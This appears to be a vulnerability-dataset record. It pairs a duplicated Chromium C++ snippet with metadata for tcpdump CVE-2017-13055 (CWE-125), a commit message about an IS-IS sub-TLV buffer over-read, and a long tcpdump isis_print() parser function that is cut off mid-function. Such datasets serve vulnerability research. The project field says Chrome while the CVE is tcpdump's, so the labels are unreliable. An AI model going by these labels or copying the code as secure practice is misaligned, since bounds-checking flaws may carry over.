Cr-Commit-Position: refs/heads/master@{#662843}
|
device::ControllerFrameData GetCurrentControllerData(unsigned int index) {
auto iter = controller_data_map_.find(index);
DCHECK(iter != controller_data_map_.end());
return iter->second;
}
|
device::ControllerFrameData GetCurrentControllerData(unsigned int index) {
auto iter = controller_data_map_.find(index);
DCHECK(iter != controller_data_map_.end());
return iter->second;
}
|
C
|
Chrome
| 0 |
CVE-2017-13055
|
https://www.cvedetails.com/cve/CVE-2017-13055/
|
CWE-125
|
https://github.com/the-tcpdump-group/tcpdump/commit/5d0d76e88ee2d3236d7e032589d6f1d4ec5f7b1e
|
5d0d76e88ee2d3236d7e032589d6f1d4ec5f7b1e
|
CVE-2017-13055/IS-IS: fix an Extended IS Reachability sub-TLV
In isis_print_is_reach_subtlv() one of the case blocks did not check that
the sub-TLV "V" is actually present and could over-read the input buffer.
Add a length check to fix that and remove a useless boundary check from
a loop because the boundary is tested for the full length of "V" before
the switch block.
Update one of the prior test cases as it turns out it depended on this
previously incorrect code path to make it to its own malformed structure
further down the buffer, the bugfix has changed its output.
This fixes a buffer over-read discovered by Bhargava Shastry,
SecT/TU Berlin.
Add a test using the capture file supplied by the reporter(s).
|
isis_print(netdissect_options *ndo,
const uint8_t *p, u_int length)
{
const struct isis_common_header *isis_header;
const struct isis_iih_lan_header *header_iih_lan;
const struct isis_iih_ptp_header *header_iih_ptp;
const struct isis_lsp_header *header_lsp;
const struct isis_csnp_header *header_csnp;
const struct isis_psnp_header *header_psnp;
const struct isis_tlv_lsp *tlv_lsp;
const struct isis_tlv_ptp_adj *tlv_ptp_adj;
const struct isis_tlv_is_reach *tlv_is_reach;
const struct isis_tlv_es_reach *tlv_es_reach;
uint8_t pdu_type, max_area, id_length, tlv_type, tlv_len, tmp, alen, lan_alen, prefix_len;
uint8_t ext_is_len, ext_ip_len, mt_len;
const uint8_t *optr, *pptr, *tptr;
u_short packet_len,pdu_len, key_id;
u_int i,vendor_id;
int sigcheck;
packet_len=length;
optr = p; /* initialize the _o_riginal pointer to the packet start -
need it for parsing the checksum TLV and authentication
TLV verification */
isis_header = (const struct isis_common_header *)p;
ND_TCHECK(*isis_header);
if (length < ISIS_COMMON_HEADER_SIZE)
goto trunc;
pptr = p+(ISIS_COMMON_HEADER_SIZE);
header_iih_lan = (const struct isis_iih_lan_header *)pptr;
header_iih_ptp = (const struct isis_iih_ptp_header *)pptr;
header_lsp = (const struct isis_lsp_header *)pptr;
header_csnp = (const struct isis_csnp_header *)pptr;
header_psnp = (const struct isis_psnp_header *)pptr;
if (!ndo->ndo_eflag)
ND_PRINT((ndo, "IS-IS"));
/*
* Sanity checking of the header.
*/
if (isis_header->version != ISIS_VERSION) {
ND_PRINT((ndo, "version %d packet not supported", isis_header->version));
return (0);
}
if ((isis_header->id_length != SYSTEM_ID_LEN) && (isis_header->id_length != 0)) {
ND_PRINT((ndo, "system ID length of %d is not supported",
isis_header->id_length));
return (0);
}
if (isis_header->pdu_version != ISIS_VERSION) {
ND_PRINT((ndo, "version %d packet not supported", isis_header->pdu_version));
return (0);
}
if (length < isis_header->fixed_len) {
ND_PRINT((ndo, "fixed header length %u > packet length %u", isis_header->fixed_len, length));
return (0);
}
if (isis_header->fixed_len < ISIS_COMMON_HEADER_SIZE) {
ND_PRINT((ndo, "fixed header length %u < minimum header size %u", isis_header->fixed_len, (u_int)ISIS_COMMON_HEADER_SIZE));
return (0);
}
max_area = isis_header->max_area;
switch(max_area) {
case 0:
max_area = 3; /* silly shit */
break;
case 255:
ND_PRINT((ndo, "bad packet -- 255 areas"));
return (0);
default:
break;
}
id_length = isis_header->id_length;
switch(id_length) {
case 0:
id_length = 6; /* silly shit again */
break;
case 1: /* 1-8 are valid sys-ID lenghts */
case 2:
case 3:
case 4:
case 5:
case 6:
case 7:
case 8:
break;
case 255:
id_length = 0; /* entirely useless */
break;
default:
break;
}
/* toss any non 6-byte sys-ID len PDUs */
if (id_length != 6 ) {
ND_PRINT((ndo, "bad packet -- illegal sys-ID length (%u)", id_length));
return (0);
}
pdu_type=isis_header->pdu_type;
/* in non-verbose mode print the basic PDU Type plus PDU specific brief information*/
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, "%s%s",
ndo->ndo_eflag ? "" : ", ",
tok2str(isis_pdu_values, "unknown PDU-Type %u", pdu_type)));
} else {
/* ok they seem to want to know everything - lets fully decode it */
ND_PRINT((ndo, "%slength %u", ndo->ndo_eflag ? "" : ", ", length));
ND_PRINT((ndo, "\n\t%s, hlen: %u, v: %u, pdu-v: %u, sys-id-len: %u (%u), max-area: %u (%u)",
tok2str(isis_pdu_values,
"unknown, type %u",
pdu_type),
isis_header->fixed_len,
isis_header->version,
isis_header->pdu_version,
id_length,
isis_header->id_length,
max_area,
isis_header->max_area));
if (ndo->ndo_vflag > 1) {
if (!print_unknown_data(ndo, optr, "\n\t", 8)) /* provide the _o_riginal pointer */
return (0); /* for optionally debugging the common header */
}
}
switch (pdu_type) {
case ISIS_PDU_L1_LAN_IIH:
case ISIS_PDU_L2_LAN_IIH:
if (isis_header->fixed_len != (ISIS_COMMON_HEADER_SIZE+ISIS_IIH_LAN_HEADER_SIZE)) {
ND_PRINT((ndo, ", bogus fixed header length %u should be %lu",
isis_header->fixed_len, (unsigned long)(ISIS_COMMON_HEADER_SIZE+ISIS_IIH_LAN_HEADER_SIZE)));
return (0);
}
ND_TCHECK(*header_iih_lan);
if (length < ISIS_COMMON_HEADER_SIZE+ISIS_IIH_LAN_HEADER_SIZE)
goto trunc;
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, ", src-id %s",
isis_print_id(header_iih_lan->source_id, SYSTEM_ID_LEN)));
ND_PRINT((ndo, ", lan-id %s, prio %u",
isis_print_id(header_iih_lan->lan_id,NODE_ID_LEN),
header_iih_lan->priority));
ND_PRINT((ndo, ", length %u", length));
return (1);
}
pdu_len=EXTRACT_16BITS(header_iih_lan->pdu_len);
if (packet_len>pdu_len) {
packet_len=pdu_len; /* do TLV decoding as long as it makes sense */
length=pdu_len;
}
ND_PRINT((ndo, "\n\t source-id: %s, holding time: %us, Flags: [%s]",
isis_print_id(header_iih_lan->source_id,SYSTEM_ID_LEN),
EXTRACT_16BITS(header_iih_lan->holding_time),
tok2str(isis_iih_circuit_type_values,
"unknown circuit type 0x%02x",
header_iih_lan->circuit_type)));
ND_PRINT((ndo, "\n\t lan-id: %s, Priority: %u, PDU length: %u",
isis_print_id(header_iih_lan->lan_id, NODE_ID_LEN),
(header_iih_lan->priority) & ISIS_LAN_PRIORITY_MASK,
pdu_len));
if (ndo->ndo_vflag > 1) {
if (!print_unknown_data(ndo, pptr, "\n\t ", ISIS_IIH_LAN_HEADER_SIZE))
return (0);
}
packet_len -= (ISIS_COMMON_HEADER_SIZE+ISIS_IIH_LAN_HEADER_SIZE);
pptr = p + (ISIS_COMMON_HEADER_SIZE+ISIS_IIH_LAN_HEADER_SIZE);
break;
case ISIS_PDU_PTP_IIH:
if (isis_header->fixed_len != (ISIS_COMMON_HEADER_SIZE+ISIS_IIH_PTP_HEADER_SIZE)) {
ND_PRINT((ndo, ", bogus fixed header length %u should be %lu",
isis_header->fixed_len, (unsigned long)(ISIS_COMMON_HEADER_SIZE+ISIS_IIH_PTP_HEADER_SIZE)));
return (0);
}
ND_TCHECK(*header_iih_ptp);
if (length < ISIS_COMMON_HEADER_SIZE+ISIS_IIH_PTP_HEADER_SIZE)
goto trunc;
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, ", src-id %s", isis_print_id(header_iih_ptp->source_id, SYSTEM_ID_LEN)));
ND_PRINT((ndo, ", length %u", length));
return (1);
}
pdu_len=EXTRACT_16BITS(header_iih_ptp->pdu_len);
if (packet_len>pdu_len) {
packet_len=pdu_len; /* do TLV decoding as long as it makes sense */
length=pdu_len;
}
ND_PRINT((ndo, "\n\t source-id: %s, holding time: %us, Flags: [%s]",
isis_print_id(header_iih_ptp->source_id,SYSTEM_ID_LEN),
EXTRACT_16BITS(header_iih_ptp->holding_time),
tok2str(isis_iih_circuit_type_values,
"unknown circuit type 0x%02x",
header_iih_ptp->circuit_type)));
ND_PRINT((ndo, "\n\t circuit-id: 0x%02x, PDU length: %u",
header_iih_ptp->circuit_id,
pdu_len));
if (ndo->ndo_vflag > 1) {
if (!print_unknown_data(ndo, pptr, "\n\t ", ISIS_IIH_PTP_HEADER_SIZE))
return (0);
}
packet_len -= (ISIS_COMMON_HEADER_SIZE+ISIS_IIH_PTP_HEADER_SIZE);
pptr = p + (ISIS_COMMON_HEADER_SIZE+ISIS_IIH_PTP_HEADER_SIZE);
break;
case ISIS_PDU_L1_LSP:
case ISIS_PDU_L2_LSP:
if (isis_header->fixed_len != (ISIS_COMMON_HEADER_SIZE+ISIS_LSP_HEADER_SIZE)) {
ND_PRINT((ndo, ", bogus fixed header length %u should be %lu",
isis_header->fixed_len, (unsigned long)ISIS_LSP_HEADER_SIZE));
return (0);
}
ND_TCHECK(*header_lsp);
if (length < ISIS_COMMON_HEADER_SIZE+ISIS_LSP_HEADER_SIZE)
goto trunc;
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, ", lsp-id %s, seq 0x%08x, lifetime %5us",
isis_print_id(header_lsp->lsp_id, LSP_ID_LEN),
EXTRACT_32BITS(header_lsp->sequence_number),
EXTRACT_16BITS(header_lsp->remaining_lifetime)));
ND_PRINT((ndo, ", length %u", length));
return (1);
}
pdu_len=EXTRACT_16BITS(header_lsp->pdu_len);
if (packet_len>pdu_len) {
packet_len=pdu_len; /* do TLV decoding as long as it makes sense */
length=pdu_len;
}
ND_PRINT((ndo, "\n\t lsp-id: %s, seq: 0x%08x, lifetime: %5us\n\t chksum: 0x%04x",
isis_print_id(header_lsp->lsp_id, LSP_ID_LEN),
EXTRACT_32BITS(header_lsp->sequence_number),
EXTRACT_16BITS(header_lsp->remaining_lifetime),
EXTRACT_16BITS(header_lsp->checksum)));
osi_print_cksum(ndo, (const uint8_t *)header_lsp->lsp_id,
EXTRACT_16BITS(header_lsp->checksum),
12, length-12);
ND_PRINT((ndo, ", PDU length: %u, Flags: [ %s",
pdu_len,
ISIS_MASK_LSP_OL_BIT(header_lsp->typeblock) ? "Overload bit set, " : ""));
if (ISIS_MASK_LSP_ATT_BITS(header_lsp->typeblock)) {
ND_PRINT((ndo, "%s", ISIS_MASK_LSP_ATT_DEFAULT_BIT(header_lsp->typeblock) ? "default " : ""));
ND_PRINT((ndo, "%s", ISIS_MASK_LSP_ATT_DELAY_BIT(header_lsp->typeblock) ? "delay " : ""));
ND_PRINT((ndo, "%s", ISIS_MASK_LSP_ATT_EXPENSE_BIT(header_lsp->typeblock) ? "expense " : ""));
ND_PRINT((ndo, "%s", ISIS_MASK_LSP_ATT_ERROR_BIT(header_lsp->typeblock) ? "error " : ""));
ND_PRINT((ndo, "ATT bit set, "));
}
ND_PRINT((ndo, "%s", ISIS_MASK_LSP_PARTITION_BIT(header_lsp->typeblock) ? "P bit set, " : ""));
ND_PRINT((ndo, "%s ]", tok2str(isis_lsp_istype_values, "Unknown(0x%x)",
ISIS_MASK_LSP_ISTYPE_BITS(header_lsp->typeblock))));
if (ndo->ndo_vflag > 1) {
if (!print_unknown_data(ndo, pptr, "\n\t ", ISIS_LSP_HEADER_SIZE))
return (0);
}
packet_len -= (ISIS_COMMON_HEADER_SIZE+ISIS_LSP_HEADER_SIZE);
pptr = p + (ISIS_COMMON_HEADER_SIZE+ISIS_LSP_HEADER_SIZE);
break;
case ISIS_PDU_L1_CSNP:
case ISIS_PDU_L2_CSNP:
if (isis_header->fixed_len != (ISIS_COMMON_HEADER_SIZE+ISIS_CSNP_HEADER_SIZE)) {
ND_PRINT((ndo, ", bogus fixed header length %u should be %lu",
isis_header->fixed_len, (unsigned long)(ISIS_COMMON_HEADER_SIZE+ISIS_CSNP_HEADER_SIZE)));
return (0);
}
ND_TCHECK(*header_csnp);
if (length < ISIS_COMMON_HEADER_SIZE+ISIS_CSNP_HEADER_SIZE)
goto trunc;
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, ", src-id %s", isis_print_id(header_csnp->source_id, NODE_ID_LEN)));
ND_PRINT((ndo, ", length %u", length));
return (1);
}
pdu_len=EXTRACT_16BITS(header_csnp->pdu_len);
if (packet_len>pdu_len) {
packet_len=pdu_len; /* do TLV decoding as long as it makes sense */
length=pdu_len;
}
ND_PRINT((ndo, "\n\t source-id: %s, PDU length: %u",
isis_print_id(header_csnp->source_id, NODE_ID_LEN),
pdu_len));
ND_PRINT((ndo, "\n\t start lsp-id: %s",
isis_print_id(header_csnp->start_lsp_id, LSP_ID_LEN)));
ND_PRINT((ndo, "\n\t end lsp-id: %s",
isis_print_id(header_csnp->end_lsp_id, LSP_ID_LEN)));
if (ndo->ndo_vflag > 1) {
if (!print_unknown_data(ndo, pptr, "\n\t ", ISIS_CSNP_HEADER_SIZE))
return (0);
}
packet_len -= (ISIS_COMMON_HEADER_SIZE+ISIS_CSNP_HEADER_SIZE);
pptr = p + (ISIS_COMMON_HEADER_SIZE+ISIS_CSNP_HEADER_SIZE);
break;
case ISIS_PDU_L1_PSNP:
case ISIS_PDU_L2_PSNP:
if (isis_header->fixed_len != (ISIS_COMMON_HEADER_SIZE+ISIS_PSNP_HEADER_SIZE)) {
ND_PRINT((ndo, "- bogus fixed header length %u should be %lu",
isis_header->fixed_len, (unsigned long)(ISIS_COMMON_HEADER_SIZE+ISIS_PSNP_HEADER_SIZE)));
return (0);
}
ND_TCHECK(*header_psnp);
if (length < ISIS_COMMON_HEADER_SIZE+ISIS_PSNP_HEADER_SIZE)
goto trunc;
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, ", src-id %s", isis_print_id(header_psnp->source_id, NODE_ID_LEN)));
ND_PRINT((ndo, ", length %u", length));
return (1);
}
pdu_len=EXTRACT_16BITS(header_psnp->pdu_len);
if (packet_len>pdu_len) {
packet_len=pdu_len; /* do TLV decoding as long as it makes sense */
length=pdu_len;
}
ND_PRINT((ndo, "\n\t source-id: %s, PDU length: %u",
isis_print_id(header_psnp->source_id, NODE_ID_LEN),
pdu_len));
if (ndo->ndo_vflag > 1) {
if (!print_unknown_data(ndo, pptr, "\n\t ", ISIS_PSNP_HEADER_SIZE))
return (0);
}
packet_len -= (ISIS_COMMON_HEADER_SIZE+ISIS_PSNP_HEADER_SIZE);
pptr = p + (ISIS_COMMON_HEADER_SIZE+ISIS_PSNP_HEADER_SIZE);
break;
default:
if (ndo->ndo_vflag == 0) {
ND_PRINT((ndo, ", length %u", length));
return (1);
}
(void)print_unknown_data(ndo, pptr, "\n\t ", length);
return (0);
}
/*
* Now print the TLV's.
*/
while (packet_len > 0) {
ND_TCHECK2(*pptr, 2);
if (packet_len < 2)
goto trunc;
tlv_type = *pptr++;
tlv_len = *pptr++;
tmp =tlv_len; /* copy temporary len & pointer to packet data */
tptr = pptr;
packet_len -= 2;
/* first lets see if we know the TLVs name*/
ND_PRINT((ndo, "\n\t %s TLV #%u, length: %u",
tok2str(isis_tlv_values,
"unknown",
tlv_type),
tlv_type,
tlv_len));
if (tlv_len == 0) /* something is invalid */
continue;
if (packet_len < tlv_len)
goto trunc;
/* now check if we have a decoder otherwise do a hexdump at the end*/
switch (tlv_type) {
case ISIS_TLV_AREA_ADDR:
ND_TCHECK2(*tptr, 1);
alen = *tptr++;
while (tmp && alen < tmp) {
ND_TCHECK2(*tptr, alen);
ND_PRINT((ndo, "\n\t Area address (length: %u): %s",
alen,
isonsap_string(ndo, tptr, alen)));
tptr += alen;
tmp -= alen + 1;
if (tmp==0) /* if this is the last area address do not attemt a boundary check */
break;
ND_TCHECK2(*tptr, 1);
alen = *tptr++;
}
break;
case ISIS_TLV_ISNEIGH:
while (tmp >= ETHER_ADDR_LEN) {
ND_TCHECK2(*tptr, ETHER_ADDR_LEN);
ND_PRINT((ndo, "\n\t SNPA: %s", isis_print_id(tptr, ETHER_ADDR_LEN)));
tmp -= ETHER_ADDR_LEN;
tptr += ETHER_ADDR_LEN;
}
break;
case ISIS_TLV_ISNEIGH_VARLEN:
if (!ND_TTEST2(*tptr, 1) || tmp < 3) /* min. TLV length */
goto trunctlv;
lan_alen = *tptr++; /* LAN address length */
if (lan_alen == 0) {
ND_PRINT((ndo, "\n\t LAN address length 0 bytes (invalid)"));
break;
}
tmp --;
ND_PRINT((ndo, "\n\t LAN address length %u bytes ", lan_alen));
while (tmp >= lan_alen) {
ND_TCHECK2(*tptr, lan_alen);
ND_PRINT((ndo, "\n\t\tIS Neighbor: %s", isis_print_id(tptr, lan_alen)));
tmp -= lan_alen;
tptr +=lan_alen;
}
break;
case ISIS_TLV_PADDING:
break;
case ISIS_TLV_MT_IS_REACH:
mt_len = isis_print_mtid(ndo, tptr, "\n\t ");
if (mt_len == 0) /* did something go wrong ? */
goto trunctlv;
tptr+=mt_len;
tmp-=mt_len;
while (tmp >= 2+NODE_ID_LEN+3+1) {
ext_is_len = isis_print_ext_is_reach(ndo, tptr, "\n\t ", tlv_type);
if (ext_is_len == 0) /* did something go wrong ? */
goto trunctlv;
tmp-=ext_is_len;
tptr+=ext_is_len;
}
break;
case ISIS_TLV_IS_ALIAS_ID:
while (tmp >= NODE_ID_LEN+1) { /* is it worth attempting a decode ? */
ext_is_len = isis_print_ext_is_reach(ndo, tptr, "\n\t ", tlv_type);
if (ext_is_len == 0) /* did something go wrong ? */
goto trunctlv;
tmp-=ext_is_len;
tptr+=ext_is_len;
}
break;
case ISIS_TLV_EXT_IS_REACH:
while (tmp >= NODE_ID_LEN+3+1) { /* is it worth attempting a decode ? */
ext_is_len = isis_print_ext_is_reach(ndo, tptr, "\n\t ", tlv_type);
if (ext_is_len == 0) /* did something go wrong ? */
goto trunctlv;
tmp-=ext_is_len;
tptr+=ext_is_len;
}
break;
case ISIS_TLV_IS_REACH:
ND_TCHECK2(*tptr,1); /* check if there is one byte left to read out the virtual flag */
ND_PRINT((ndo, "\n\t %s",
tok2str(isis_is_reach_virtual_values,
"bogus virtual flag 0x%02x",
*tptr++)));
tlv_is_reach = (const struct isis_tlv_is_reach *)tptr;
while (tmp >= sizeof(struct isis_tlv_is_reach)) {
ND_TCHECK(*tlv_is_reach);
ND_PRINT((ndo, "\n\t IS Neighbor: %s",
isis_print_id(tlv_is_reach->neighbor_nodeid, NODE_ID_LEN)));
isis_print_metric_block(ndo, &tlv_is_reach->isis_metric_block);
tmp -= sizeof(struct isis_tlv_is_reach);
tlv_is_reach++;
}
break;
case ISIS_TLV_ESNEIGH:
tlv_es_reach = (const struct isis_tlv_es_reach *)tptr;
while (tmp >= sizeof(struct isis_tlv_es_reach)) {
ND_TCHECK(*tlv_es_reach);
ND_PRINT((ndo, "\n\t ES Neighbor: %s",
isis_print_id(tlv_es_reach->neighbor_sysid, SYSTEM_ID_LEN)));
isis_print_metric_block(ndo, &tlv_es_reach->isis_metric_block);
tmp -= sizeof(struct isis_tlv_es_reach);
tlv_es_reach++;
}
break;
/* those two TLVs share the same format */
case ISIS_TLV_INT_IP_REACH:
case ISIS_TLV_EXT_IP_REACH:
if (!isis_print_tlv_ip_reach(ndo, pptr, "\n\t ", tlv_len))
return (1);
break;
case ISIS_TLV_EXTD_IP_REACH:
while (tmp>0) {
ext_ip_len = isis_print_extd_ip_reach(ndo, tptr, "\n\t ", AF_INET);
if (ext_ip_len == 0) /* did something go wrong ? */
goto trunctlv;
tptr+=ext_ip_len;
tmp-=ext_ip_len;
}
break;
case ISIS_TLV_MT_IP_REACH:
mt_len = isis_print_mtid(ndo, tptr, "\n\t ");
if (mt_len == 0) { /* did something go wrong ? */
goto trunctlv;
}
tptr+=mt_len;
tmp-=mt_len;
while (tmp>0) {
ext_ip_len = isis_print_extd_ip_reach(ndo, tptr, "\n\t ", AF_INET);
if (ext_ip_len == 0) /* did something go wrong ? */
goto trunctlv;
tptr+=ext_ip_len;
tmp-=ext_ip_len;
}
break;
case ISIS_TLV_IP6_REACH:
while (tmp>0) {
ext_ip_len = isis_print_extd_ip_reach(ndo, tptr, "\n\t ", AF_INET6);
if (ext_ip_len == 0) /* did something go wrong ? */
goto trunctlv;
tptr+=ext_ip_len;
tmp-=ext_ip_len;
}
break;
case ISIS_TLV_MT_IP6_REACH:
mt_len = isis_print_mtid(ndo, tptr, "\n\t ");
if (mt_len == 0) { /* did something go wrong ? */
goto trunctlv;
}
tptr+=mt_len;
tmp-=mt_len;
while (tmp>0) {
ext_ip_len = isis_print_extd_ip_reach(ndo, tptr, "\n\t ", AF_INET6);
if (ext_ip_len == 0) /* did something go wrong ? */
goto trunctlv;
tptr+=ext_ip_len;
tmp-=ext_ip_len;
}
break;
case ISIS_TLV_IP6ADDR:
while (tmp>=sizeof(struct in6_addr)) {
ND_TCHECK2(*tptr, sizeof(struct in6_addr));
ND_PRINT((ndo, "\n\t IPv6 interface address: %s",
ip6addr_string(ndo, tptr)));
tptr += sizeof(struct in6_addr);
tmp -= sizeof(struct in6_addr);
}
break;
case ISIS_TLV_AUTH:
ND_TCHECK2(*tptr, 1);
ND_PRINT((ndo, "\n\t %s: ",
tok2str(isis_subtlv_auth_values,
"unknown Authentication type 0x%02x",
*tptr)));
switch (*tptr) {
case ISIS_SUBTLV_AUTH_SIMPLE:
if (fn_printzp(ndo, tptr + 1, tlv_len - 1, ndo->ndo_snapend))
goto trunctlv;
break;
case ISIS_SUBTLV_AUTH_MD5:
for(i=1;i<tlv_len;i++) {
ND_TCHECK2(*(tptr + i), 1);
ND_PRINT((ndo, "%02x", *(tptr + i)));
}
if (tlv_len != ISIS_SUBTLV_AUTH_MD5_LEN+1)
ND_PRINT((ndo, ", (invalid subTLV) "));
sigcheck = signature_verify(ndo, optr, length, tptr + 1,
isis_clear_checksum_lifetime,
header_lsp);
ND_PRINT((ndo, " (%s)", tok2str(signature_check_values, "Unknown", sigcheck)));
break;
case ISIS_SUBTLV_AUTH_GENERIC:
ND_TCHECK2(*(tptr + 1), 2);
key_id = EXTRACT_16BITS((tptr+1));
ND_PRINT((ndo, "%u, password: ", key_id));
for(i=1 + sizeof(uint16_t);i<tlv_len;i++) {
ND_TCHECK2(*(tptr + i), 1);
ND_PRINT((ndo, "%02x", *(tptr + i)));
}
break;
case ISIS_SUBTLV_AUTH_PRIVATE:
default:
if (!print_unknown_data(ndo, tptr + 1, "\n\t\t ", tlv_len - 1))
return(0);
break;
}
break;
case ISIS_TLV_PTP_ADJ:
tlv_ptp_adj = (const struct isis_tlv_ptp_adj *)tptr;
if(tmp>=1) {
ND_TCHECK2(*tptr, 1);
ND_PRINT((ndo, "\n\t Adjacency State: %s (%u)",
tok2str(isis_ptp_adjancey_values, "unknown", *tptr),
*tptr));
tmp--;
}
if(tmp>sizeof(tlv_ptp_adj->extd_local_circuit_id)) {
ND_TCHECK(tlv_ptp_adj->extd_local_circuit_id);
ND_PRINT((ndo, "\n\t Extended Local circuit-ID: 0x%08x",
EXTRACT_32BITS(tlv_ptp_adj->extd_local_circuit_id)));
tmp-=sizeof(tlv_ptp_adj->extd_local_circuit_id);
}
if(tmp>=SYSTEM_ID_LEN) {
ND_TCHECK2(tlv_ptp_adj->neighbor_sysid, SYSTEM_ID_LEN);
ND_PRINT((ndo, "\n\t Neighbor System-ID: %s",
isis_print_id(tlv_ptp_adj->neighbor_sysid, SYSTEM_ID_LEN)));
tmp-=SYSTEM_ID_LEN;
}
if(tmp>=sizeof(tlv_ptp_adj->neighbor_extd_local_circuit_id)) {
ND_TCHECK(tlv_ptp_adj->neighbor_extd_local_circuit_id);
ND_PRINT((ndo, "\n\t Neighbor Extended Local circuit-ID: 0x%08x",
EXTRACT_32BITS(tlv_ptp_adj->neighbor_extd_local_circuit_id)));
}
break;
case ISIS_TLV_PROTOCOLS:
ND_PRINT((ndo, "\n\t NLPID(s): "));
while (tmp>0) {
ND_TCHECK2(*(tptr), 1);
ND_PRINT((ndo, "%s (0x%02x)",
tok2str(nlpid_values,
"unknown",
*tptr),
*tptr));
if (tmp>1) /* further NPLIDs ? - put comma */
ND_PRINT((ndo, ", "));
tptr++;
tmp--;
}
break;
case ISIS_TLV_MT_PORT_CAP:
{
ND_TCHECK2(*(tptr), 2);
ND_PRINT((ndo, "\n\t RES: %d, MTID(s): %d",
(EXTRACT_16BITS (tptr) >> 12),
(EXTRACT_16BITS (tptr) & 0x0fff)));
tmp = tmp-2;
tptr = tptr+2;
if (tmp)
isis_print_mt_port_cap_subtlv(ndo, tptr, tmp);
break;
}
case ISIS_TLV_MT_CAPABILITY:
ND_TCHECK2(*(tptr), 2);
ND_PRINT((ndo, "\n\t O: %d, RES: %d, MTID(s): %d",
(EXTRACT_16BITS(tptr) >> 15) & 0x01,
(EXTRACT_16BITS(tptr) >> 12) & 0x07,
EXTRACT_16BITS(tptr) & 0x0fff));
tmp = tmp-2;
tptr = tptr+2;
if (tmp)
isis_print_mt_capability_subtlv(ndo, tptr, tmp);
break;
case ISIS_TLV_TE_ROUTER_ID:
ND_TCHECK2(*pptr, sizeof(struct in_addr));
ND_PRINT((ndo, "\n\t Traffic Engineering Router ID: %s", ipaddr_string(ndo, pptr)));
break;
case ISIS_TLV_IPADDR:
while (tmp>=sizeof(struct in_addr)) {
ND_TCHECK2(*tptr, sizeof(struct in_addr));
ND_PRINT((ndo, "\n\t IPv4 interface address: %s", ipaddr_string(ndo, tptr)));
tptr += sizeof(struct in_addr);
tmp -= sizeof(struct in_addr);
}
break;
case ISIS_TLV_HOSTNAME:
ND_PRINT((ndo, "\n\t Hostname: "));
if (fn_printzp(ndo, tptr, tmp, ndo->ndo_snapend))
goto trunctlv;
break;
case ISIS_TLV_SHARED_RISK_GROUP:
if (tmp < NODE_ID_LEN)
break;
ND_TCHECK2(*tptr, NODE_ID_LEN);
ND_PRINT((ndo, "\n\t IS Neighbor: %s", isis_print_id(tptr, NODE_ID_LEN)));
tptr+=(NODE_ID_LEN);
tmp-=(NODE_ID_LEN);
if (tmp < 1)
break;
ND_TCHECK2(*tptr, 1);
ND_PRINT((ndo, ", Flags: [%s]", ISIS_MASK_TLV_SHARED_RISK_GROUP(*tptr++) ? "numbered" : "unnumbered"));
tmp--;
if (tmp < sizeof(struct in_addr))
break;
ND_TCHECK2(*tptr, sizeof(struct in_addr));
ND_PRINT((ndo, "\n\t IPv4 interface address: %s", ipaddr_string(ndo, tptr)));
tptr+=sizeof(struct in_addr);
tmp-=sizeof(struct in_addr);
if (tmp < sizeof(struct in_addr))
break;
ND_TCHECK2(*tptr, sizeof(struct in_addr));
ND_PRINT((ndo, "\n\t IPv4 neighbor address: %s", ipaddr_string(ndo, tptr)));
tptr+=sizeof(struct in_addr);
tmp-=sizeof(struct in_addr);
while (tmp>=4) {
ND_TCHECK2(*tptr, 4);
ND_PRINT((ndo, "\n\t Link-ID: 0x%08x", EXTRACT_32BITS(tptr)));
tptr+=4;
tmp-=4;
}
break;
case ISIS_TLV_LSP:
tlv_lsp = (const struct isis_tlv_lsp *)tptr;
while(tmp>=sizeof(struct isis_tlv_lsp)) {
ND_TCHECK((tlv_lsp->lsp_id)[LSP_ID_LEN-1]);
ND_PRINT((ndo, "\n\t lsp-id: %s",
isis_print_id(tlv_lsp->lsp_id, LSP_ID_LEN)));
ND_TCHECK2(tlv_lsp->sequence_number, 4);
ND_PRINT((ndo, ", seq: 0x%08x", EXTRACT_32BITS(tlv_lsp->sequence_number)));
ND_TCHECK2(tlv_lsp->remaining_lifetime, 2);
ND_PRINT((ndo, ", lifetime: %5ds", EXTRACT_16BITS(tlv_lsp->remaining_lifetime)));
ND_TCHECK2(tlv_lsp->checksum, 2);
ND_PRINT((ndo, ", chksum: 0x%04x", EXTRACT_16BITS(tlv_lsp->checksum)));
tmp-=sizeof(struct isis_tlv_lsp);
tlv_lsp++;
}
break;
case ISIS_TLV_CHECKSUM:
if (tmp < ISIS_TLV_CHECKSUM_MINLEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_CHECKSUM_MINLEN);
ND_PRINT((ndo, "\n\t checksum: 0x%04x ", EXTRACT_16BITS(tptr)));
/* do not attempt to verify the checksum if it is zero
* most likely a HMAC-MD5 TLV is also present and
* to avoid conflicts the checksum TLV is zeroed.
* see rfc3358 for details
*/
osi_print_cksum(ndo, optr, EXTRACT_16BITS(tptr), tptr-optr,
length);
break;
case ISIS_TLV_POI:
if (tlv_len >= SYSTEM_ID_LEN + 1) {
ND_TCHECK2(*tptr, SYSTEM_ID_LEN + 1);
ND_PRINT((ndo, "\n\t Purge Originator System-ID: %s",
isis_print_id(tptr + 1, SYSTEM_ID_LEN)));
}
if (tlv_len == 2 * SYSTEM_ID_LEN + 1) {
ND_TCHECK2(*tptr, 2 * SYSTEM_ID_LEN + 1);
ND_PRINT((ndo, "\n\t Received from System-ID: %s",
isis_print_id(tptr + SYSTEM_ID_LEN + 1, SYSTEM_ID_LEN)));
}
break;
case ISIS_TLV_MT_SUPPORTED:
if (tmp < ISIS_TLV_MT_SUPPORTED_MINLEN)
break;
while (tmp>1) {
/* length can only be a multiple of 2, otherwise there is
something broken -> so decode down until length is 1 */
if (tmp!=1) {
mt_len = isis_print_mtid(ndo, tptr, "\n\t ");
if (mt_len == 0) /* did something go wrong ? */
goto trunctlv;
tptr+=mt_len;
tmp-=mt_len;
} else {
ND_PRINT((ndo, "\n\t invalid MT-ID"));
break;
}
}
break;
case ISIS_TLV_RESTART_SIGNALING:
/* first attempt to decode the flags */
if (tmp < ISIS_TLV_RESTART_SIGNALING_FLAGLEN)
break;
ND_TCHECK2(*tptr, ISIS_TLV_RESTART_SIGNALING_FLAGLEN);
ND_PRINT((ndo, "\n\t Flags [%s]",
bittok2str(isis_restart_flag_values, "none", *tptr)));
